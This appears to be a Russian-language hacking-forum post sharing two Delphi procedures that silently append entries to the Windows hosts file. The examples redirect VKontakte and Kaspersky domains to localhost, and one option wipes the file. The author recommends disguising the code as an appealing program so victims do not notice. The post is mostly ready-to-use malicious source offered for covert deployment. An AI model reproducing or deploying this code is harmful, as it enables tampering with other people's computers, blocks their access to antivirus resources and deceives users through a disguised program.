Прочитал тему, в ней выложен билдер батников для редактирование хостс. Если кто хочет может сделать на дельфи тоже самое на свой вкус, чтобы не париться со склейкой батника. Пишем процедуру: procedure wHosts(s:string); var SysdirP: PChar; hFile: THandle; nw: dword; b: byte; begin SysDirP := StrAlloc(MAX_PATH); GetSystemDirectory(SysDirP, MAX_PATH); lstrcat(SysDirP, '\drivers\etc\hosts'); hFile := CreateFile(SysDirP, GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0); SetFilePointer(hFile, 0, nil, FILE_END); b:=13; WriteFile(hFile, b, 1, nw, nil); b:=10; WriteFile(hFile, b, 1, nw, nil); WriteFile(hFile, PAnsiChar(s)^, length(s), nw, nil); CloseHandle(hFile); end; Применение: procedure TForm1.FormCreate(Sender: TObject); begin wHosts('127.0.0.1 www.vkontakte.ru'); wHosts('127.0.0.1 vkontakte.ru'); wHosts('127.0.0.1 www.vk.com'); wHosts('127.0.0.1 vk.com'); wHosts('127.0.0.1 www.kaspersky.ru'); wHosts('127.0.0.1 kaspersky.ru'); end; Чтобы было без палева можно сделать под видом кульной проги, думаю с дельфи из форумчан много кто знаком. Сорц
Code: procedure toHosts(s:string; clear: boolean=false); var SysDir: string; f: TextFile; begin SetLength(SysDir,MAX_PATH); GetSystemDirectory(PCHar(SysDir), MAX_PATH); if SysDir<>'' then begin SetLength(SysDir,pos(#0,SysDir)-1); SysDir:=SysDir+'\drivers\etc\hosts'; assign(f,SysDir); if clear or (not FileExists(SysDir)) then rewrite(f) else append(f); writeln(f,s); close(f); end; end; Пример использования Code: begin toHosts('127.0.0.1 www.vkontakte.ru',true); toHosts('127.0.0.1 vkontakte.ru'); toHosts('127.0.0.1 www.vk.com'); toHosts('127.0.0.1 vk.com'); end; В первом вызове toHosts вторым параметром указывается true, для того, чтобы очистить файл hosts.